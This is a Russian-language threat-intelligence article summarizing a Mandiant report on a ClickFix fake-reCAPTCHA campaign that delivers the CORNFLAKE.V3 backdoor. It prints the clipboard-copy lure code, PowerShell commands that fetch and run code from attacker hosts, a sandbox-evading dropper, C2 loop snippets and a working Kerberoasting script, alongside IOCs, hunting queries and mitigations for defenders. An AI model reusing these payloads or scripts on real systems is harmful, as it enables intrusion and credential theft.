Подтвердите, что вы не робот — получите бэкдор: новый трюк для захвата вашего Windows

Подтвердите, что вы не робот — получите бэкдор: новый трюк для захвата вашего Windows

Под видом reCAPTCHA новый ClickFix загоняет PowerShell-команды прямо в буфер обмена.

image

Mandiant Threat Defense выпустила свежий выпуск серии Frontline Bulletin, где разобран сквозной инцидент с участием двух группировок — UNC5518 и UNC5774 . Первая компрометирует легитимные сайты и подменяет страницы проверок CAPTCHA на «ClickFix»-ловушки, вынуждая посетителей запускать команды в Windows Run. Вторая использует полученный таким образом доступ и развёртывает многофункциональную вредоносную программу CORNFLAKE.V3. Зафиксированы также эпизоды участия кластера UNC4108, применявшего PowerShell, VOLTMARKER и NetSupport RAT для разведки.

Семейство CORNFLAKE эволюционировало от простого загрузчика на C до бэкдора на JavaScript/PHP, общающегося с сервером управления (C2) по HTTP с XOR-кодированием трафика, поддерживающего закрепление и расширенный набор «полезных нагрузок» (команд/файлов).

Малварь Язык Тип Связь с C2 Поддерживаемые нагрузки Закрепление
CORNFLAKE (первая версия) C Загрузчик TCP-сокет (XOR) DLL Нет
CORNFLAKE.V2 JavaScript Загрузчик HTTP (XOR) DLL, EXE, JS, BAT Нет
CORNFLAKE.V3 JS или PHP Бэкдор HTTP (XOR); замечено проксирование через Cloudflare Tunnels DLL, EXE, JS, BAT, PS Да (Run-ключ реестра)

Начальная зацепка расследования: на одном из хостов был выполнен PowerShell через окно «Выполнить» (Windows+R). След сохранился в реестре по пути HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU:

Name: a
  Value: powershell -w h -c 
  "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
  0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
  

Подобные команды характерны для «ClickFix»: пользователь попадает на страницу (часто через SEO-подмену результатов поиска или рекламу) и кликает по «капче», после чего скрипт незаметно копирует команду в буфер обмена и просит вставить её в окно Run.

Пример вредоносной страницы-обманки (клик по картинке — копирование команды):

// Отображение «капчи»
  <div class="c" id="j">
    <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo">
    <span>I'm not a robot</span>
  </div>
  
  // Сама команда PowerShell — в переменной _0xC
  var _0xC = "powershell -w h -c 
  \"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
  0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex\"";
  
  // Копирование в буфер по клику
  document.getElementById("j").onclick = function(){ 
    var ta = document.createElement("textarea");
    ta.value = _0xC;
    document.body.appendChild(ta);
    ta.select();
    document.execCommand("copy");
  }
  

PowerShell делает HTTP-запрос вида:

GET /1742214432 HTTP/1.1
  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486
  Host: 138.199.161[.]141:8080
  Connection: Keep-Alive
  

Далее отрабатывает PowerShell-дроппер с проверками на песочницу/VM и загрузкой Node.js . Ниже приводится укороченный образец (по смыслу — аналогичный скрипту по пути /1742214432), где видно детект QEMU, пороги по памяти, шаблон имени, скачивание Node.js, декодирование встроенного CORNFLAKE.V3 и запуск через node.exe -e:

# Выход, если QEMU
  $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer
  if ($Manufacturer -eq "QEMU") { exit 0 }
  
  # Порог по памяти
  $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
  $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB 
  $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb
  if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 }
  
  # Шаблон имени
  if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 }
  
  sleep 1
  
  # Скачивание Node.js и распаковка в %APPDATA%
  $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
  $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
  $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")
  iwr -Uri $ZipURL -OutFile $ZipFile
  
  try {
    $Shell = New-Object -ComObject Shell.Application
    $ZIP = $Shell.NameSpace($ZipFile)
    $Destination = $Shell.NameSpace($DestinationFolder)
    $Destination.CopyHere($ZIP.Items(), 20)
  } catch { exit 0 }
  
  $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64")
  
  # Встроенный Base64-блоб с CORNFLAKE.V3 (Node.js)
  $BASE64STRING = <Base-64 encoded CORNFLAKE.V3 sample>
  $BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
  $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
  
  # Запуск node.exe с -e
  $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")
  start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden
  

На сети наблюдался DNS-запрос к nodejs[.]org и скачивание архива downloaded.zip (SHA-256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236) с последующей распаковкой в %APPDATA%\node-v22.11.0-win-x64\. Запуск бэкдора происходил командой node.exe -e "<JS-код CORNFLAKE.V3>".

Процессное дерево выглядело так:

explorer.exe 
    ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "<Run-строка>"
       ↳ %APPDATA%\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" 
          ↳ powershell.exe -c "{Initial check and System Information Collection}"
             ↳ ARP.EXE -a
             ↳ chcp.com 65001
             ↳ systeminfo.exe
             ↳ tasklist.exe /svc
          ↳ cmd.exe /d /s /c "wmic process where processid=<pid> get commandline"
          ↳ cmd.exe /d /s /c "{Kerberoasting}"
          ↳ cmd.exe /d /s /c "{AD Recon}"
          ↳ cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}"
  

Разбор CORNFLAKE.V3 (Node.js-вариант)

Сэмпл не был обфусцирован, что позволило статический анализ. На старте выполняется проверка аргументов, чтобы гарантировать одиночный экземпляр (форк в дочерний процесс с дополнительным аргументом «1», родитель завершается):

if (process.argv[1] !== undefined && process.argv[2] === undefined) {
    const child = spawn(process.argv[0], [process.argv[1], '1'], {
      detached: true, stdio: 'ignore', windowsHide: true,
    });
    child.unref();
    process.exit(0);
  }
  

Далее идёт сбор сведений о системе через PowerShell (версия, уровень привилегий, systeminfo, tasklist /svc, список служб, дисков, ARP):

let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver + 
  '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match 
  '(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal] 
  [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
  ([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' } 
  else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo 
  \'=-=-=-=-=-\' ; Get-Service | Select-Object Name, DisplayName | Format-List ; echo 
  \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo 
  \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true });
  

C2-инициализация опирается на списки доменных имён и IP; при неудаче с именем делается попытка по IP, задержки регулируются:

// Хосты C2
  const hosts = ['159.69.3[.]151'];
  const hostsIp = ['159.69.3[.]151'];
  
  let useIp = 0;
  let delay = 1;
  
  async function mainloop() {
    let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
    let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];
  
    while (true) {
      await new Promise((r) => setTimeout(r, delay));
      try {
        if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; }
        else {
          await main(toIp, PORT_IP);
          useIp++;
          if (useIp >= 210) useIp = 0;
        }
      } catch (e) {
        toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
        toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];
        useIp++; delay = 1000 * 10; continue;
      }
      delay = 1000 * 60 * 5;
    }
  }
  

Первичный POST уходит на /init1234 с XOR-зашифрованным телом. Ответы интерпретируются так: ooff — завершение процесса; atst — функция закрепления (Run-ключ). При получении иных данных содержимое трактуется как «полезная нагрузка», тип определяется последним байтом.

Код Тип Действие
0 EXE Сохранение в %APPDATA%\<rand8>\<rand8>.exe и запуск
1 DLL Сохранение в %APPDATA%\<rand8>\<rand8>.dll, запуск через rundll32.exe
2 JS Исполнение в памяти как аргумент node.exe
3 CMD Запуск строки в cmd.exe; вывод сохраняется и отправляется в C2
4 Прочее Запись в %APPDATA%\<rand8>\<rand8>.log

Закрепление (Node.js-вариант)

Функция atst формирует Run-ключ HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater. Командная строка текущего node.exe извлекается через wmic: если процесс запущен с -e, встроенный JS-текст сохраняется в <rand8>.log в каталоге Node.js, а путь помещается в Run-ключ; если файл запускался напрямую, в Run-ключ попадает его путь.

Наблюдавшиеся нагрузки

Разведка домена AD: проверка доменной принадлежности, подсчёт объектов «компьютер»; whoami /all; nltest /domain_trusts; nltest /dclist:<domain>; запрос SPN: setspn -T <UserDomain> -Q */* с фильтрацией; при отсутствии домена — перечисление локальных групп и их членов.

Kerberoasting : выборка учёток с SPN, запрос TGS и форматирование хэшей для последующего перебора. Ниже — фрагмент PowerShell-скрипта:

$a = 'System.IdentityModel';
  $b = [Reflection.Assembly]::LoadWithPartialName($a);
  $c = New-Object DirectoryServices.DirectorySearcher([ADSI]'');
  $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))';
  $d = $c.Findall();
  foreach($e in $d) {
    $f = $e.GetDirectoryEntry();
    $g = $f.samAccountName;
    if ($g -ne 'krbtgt')  {
      Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum 11);
      foreach($h in $f.servicePrincipalName) {
        $i = $null;
        try { $i = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $h; } catch {}
        if ($i -ne $null) {
          $j = $i.GetRequest();
          if ($j) {
            $k = [System.BitConverter]::ToString($j) -replace '-';
            [System.Collections.ArrayList]$l = ($k -replace '^(.*?)04820...(.*)', '$2') -split 'A48201';
            $l.RemoveAt($l.Count - 1);
            $m = $l -join 'A48201';
            try {
              $m = $m.Insert(32, '$');
              $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
              Write-Host $n; break;
            } catch {}
          }
        }
      }
    }
  }
  

PHP-вариант CORNFLAKE.V3

Обнаружен новый вариант на PHP: in-memory-скрипт (последствие ClickFix) загружает php.zip с windows.php[.]net, распаковывает в C:\Users\<User>\AppData\Roaming\php\, кладёт сам сэмпл в config.cfg и запускает:

"C:\\Users<User>\\AppData\\Roaming\\php\\php.exe" -d extension=zip -d 
  extension_dir=ext C:\Users<User>\AppData\Roaming\php\config.cfg 1
  

Закрепление строится на Run-ключе с произвольным именем (не «ChromeUpdater»). Для связи используется динамический путь, например:

POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1
  Host: varying-rentals-calgary-predict.trycloudflare[.]com
  Connection: close
  Content-Length: 39185
  Content-type: application/octet-stream
  

Типы нагрузок в PHP-версии частично переопределены; добавлены команды ACTIVE (счётчик активности) и AUTORUN (создание Run-ключа). Расширения .png/.jpg используются для маскировки библиотек и JS-скриптов.

Код Тип Примечание
0 EXE Сохранение в %APPDATA%\<rand8>\<rand8>.exe, запуск скрыто через PowerShell
1 DLL Сохранение как .png, запуск через rundll32.exe
2 JS Сохранение как .jpg; при отсутствии Node.js — попытка скачать node-v21.7.3-win-x64.zip с nodejs[.]org
3 CMD Исполнение строки через cmd.exe или powershell.exe
4 ACTIVE Отправка active_cnt на C2
5 AUTORUN Создание Run-ключа для автозапуска PHP-скрипта
6 OFF Завершение работы (exit(0))
Прочее Сохранение в .txt в %APPDATA%

Пример развёртывания в PHP-сценарии завершился получением DLL-нагрузки — бэкдора WINDYTWIST.SEA (файл: C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png), запущенного через rundll32. Указаны C2-адреса: tcp://167.235.235[.]151:443, tcp://128.140.120[.]188:443, tcp://177.136.225[.]135:443. Имплант реализован на C, поддерживает реверс-шелл, ретрансляцию TCP и самоудаление; встречались попытки латерального перемещения.

Процессное дерево варианта на PHP:

explorer.exe
    ↳ powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; 
      & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))"
      ↳ clip.exe
      ↳ powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ"
      ↳ systeminfo.exe
      ↳ C:\Users\<user>\AppData\Roaming\php\php.exe 
         "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}"
         ↳ cmd.exe /s /c "powershell -c {команды разведки хоста}"
         ↳ cmd.exe /s /c "reg add HKCU\...\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>\" \"<script_path>\"" /f"
         ↳ rundll32.exe "{WINDYTWIST.SEA}" start
  

Наблюдавшиеся тактики

  • Разведка хоста и домена AD; попытки Kerberoasting;
  • Закрепление через Run-ключи (Node.js: ChromeUpdater; PHP: случайное имя в %APPDATA%/%LOCALAPPDATA%);
  • Проксирование C2-трафика через Cloudflare Tunnels (поддомен trycloudflare);
  • Маскировка библиотек под изображения (.png/.jpg);
  • Обход песочниц: проверки производителя, объёма/использования памяти, шаблонов имён.

Индикаторы компрометации (выборка)

Хостовые артефакты

Артефакт Описание SHA-256
%APPDATA%\node-v22.11.0-win-x64\ckw8ua56.log Копия CORNFLAKE.V3 (Node.js) для автозапуска 000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater Ключ автозапуска CORNFLAKE.V3 (Node.js) N/A
%APPDATA%\php\config.cfg CORNFLAKE.V3 (PHP) a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube Ключ автозапуска CORNFLAKE.V3 (PHP) N/A
%APPDATA%\Shift194340\78G0ZrQi.png WINDYTWIST.SEA (DLL под видом .png) 14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c

Сетевые артефакты

Адрес/Домен Назначение
138.199.161[.]141 UNC5518: выдача загрузчиков/скриптов (Node.js-кампания)
159.69.3[.]151 C2 CORNFLAKE.V3 (UNC5774)
varying-rentals-calgary-predict.trycloudflare[.]com C2 CORNFLAKE.V3 (PHP-вариант; Cloudflare Tunnels)
dnsmicrosoftds-data[.]com, windows-msg-as[.]live UNC5518: доставка скриптов для PHP-ветки
167.235.235[.]151, 128.140.120[.]188, 177.136.225[.]135 WINDYTWIST.SEA C2

Детектирование в Google Security Operations

Mandiant указывает доступность правил в наборе Google SecOps Mandiant Frontline Threats (названия правил, среди прочего): Powershell Executing NodeJS, Powershell Writing To Appdata, Suspicious Clipboard Interaction, NodeJS Reverse Shell Execution, Download to the Windows Public User Directory via PowerShell, Run Utility Spawning Suspicious Process, WSH Startup Folder LNK Creation, Trycloudflare Tunnel Network Connections.

Поисковые запросы (UDM) для охоты

Запуск CORNFLAKE.V3 — Node.js

metadata.event_type = "PROCESS_LAUNCH"
  principal.process.file.full_path = /powershell\.exe/ nocase
  target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase
  target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase
  

Запуск CORNFLAKE.V3 — PHP

metadata.event_type = "PROCESS_LAUNCH"
  principal.process.file.full_path = /powershell\.exe/ nocase
  target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase
  target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase
  target.process.command_line != /\.php\s*\s*/ nocase
  

Дочерние процессы от node.exe/php.exe в %APPDATA%

metadata.event_type = "PROCESS_LAUNCH"
  principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase 
  target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase
  

Подозрительные соединения к доменам Node.js/PHP

metadata.event_type = "NETWORK_CONNECTION"
  principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase 
  target.hostname = /nodejs\.org|windows\.php\.net/ nocase
  

Смягчение рисков и выводы

  • Минимизация риска ClickFix: по возможности отключать окно Windows Run; отрабатывать сценарии социальной инженерии;
  • Тонкое журналирование запусков PowerShell, создания ключей Run, обращений к %APPDATA%, скачиваний nodejs.org/windows.php.net из системных процессов;
  • Сетевые политики: мониторинг трафика к «trycloudflare» и нетипичным IP/доменам, корреляция с процессами powershell.exe/mshta.exe;
  • Отсечение Kerberoasting: ограничения на SPN-аккаунты, аудит прав, мониторинг аномального TGS-трафика;
  • IOC-охота: перечисленные файлы/ключи/адреса — отправная точка для ретроспективного поиска.

Исследование подчёркивает «многоэшелонную» природу современных атак: UNC5518 системно поставляет первичный доступ через веб-ловушки, а UNC5774 использует его для развёртывания бэкдоров, разведки и захвата учётных данных с последующим продвижением по сети. Обновления CORNFLAKE.V3 (маскировка расширений, вариативность команд, прокси через Cloudflare Tunnels) подтверждают непрерывную адаптацию под защитные меры.

Благодарности в оригинальном отчёте: Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis, Rommel Joven.